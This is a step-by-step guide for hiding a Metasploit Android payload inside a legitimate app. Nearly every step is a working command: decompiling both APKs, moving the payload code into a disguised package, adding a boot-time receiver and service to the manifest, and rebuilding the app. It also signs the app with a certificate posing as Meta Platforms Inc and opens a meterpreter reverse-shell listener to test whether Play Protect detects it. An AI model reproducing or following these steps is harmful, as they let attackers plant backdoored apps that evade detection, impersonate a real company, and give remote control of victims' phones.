Play Protect Evasion Guide - Complete Steps

Step 1: Decompile APKs

Decompile the legitimate app and msfvenom payload APKs using apktool.

Commands:

apktool d /home/omega/Desktop/insta_lite.apk -o /home/omega/Desktop/original

apktool d /home/omega/Desktop/payload.apk -o /home/omega/Desktop/payload

Step 2: Copy Payload Smali Code

Copy the payload smali code to a stealthy location inside the original APK's smali directory.

Command:

mkdir -p /home/omega/Desktop/original/smali/com/xyzsoft/policy

cp -r /home/omega/Desktop/payload/smali/com/metasploit/* /home/omega/Desktop/original/smali/com/xyzsoft/policy/

Step 3: Fix Smali Package References

Replace all old package paths to match the new stealthy one.

Command:

find /home/omega/Desktop/original/smali/com/xyzsoft/policy/ -type f -name "*.smali" -exec sed -i 's/com\/metasploit/com\/xyzsoft\/policy/g' {} +

Step 4: Edit AndroidManifest.xml

Edit /home/omega/Desktop/original/AndroidManifest.xml to hook payload.

Add above <application>:

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

Add inside <application>:

```
<receiver android:name="com.xyzsoft.policy.MainBroadcastReceiver"
    android:enabled="true"
    android:exported="false">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
    </intent-filter>
</receiver>

<service android:name="com.xyzsoft.policy.MainService"
    android:enabled="true"
    android:exported="false"/>
```

Step 5: Rebuild the APK

Recompile the modified APK:

Command:

apktool b /home/omega/Desktop/original -o /home/omega/Desktop/backdoored.apk

Step 6: Sign the APK

Generate a keystore (only once):

keytool -genkey -v -keystore /home/omega/Desktop/mykey.keystore -alias myalias -keyalg RSA -keysize 2048 -validity 10000

Play Protect Evasion Guide - Complete Steps

Recommended answers:

Name: Facebook Lite Dev

Org Unit: Mobile Engineering

Org: Meta Platforms Inc

City: Menlo Park

State: California

Country: US

Sign the APK:

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /home/omega/Desktop/mykey.keystore /home/omega/Desktop/backdoored.apk myalias

Step 7: Zipalign the APK

Optimize the APK for Android installation.

Command:

zipalign -v 4 /home/omega/Desktop/backdoored.apk /home/omega/Desktop/final.apk

Step 8: Test for Play Protect

Install final.apk on a real Android device with Play Protect enabled.

Start listener in Metasploit:

msfconsole

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set LHOST YOUR_IP

set LPORT YOUR_PORT

Play Protect Evasion Guide - Complete Steps

run

Check if:

- APK installs without warning
- Play Protect flags it
- Reverse shell connects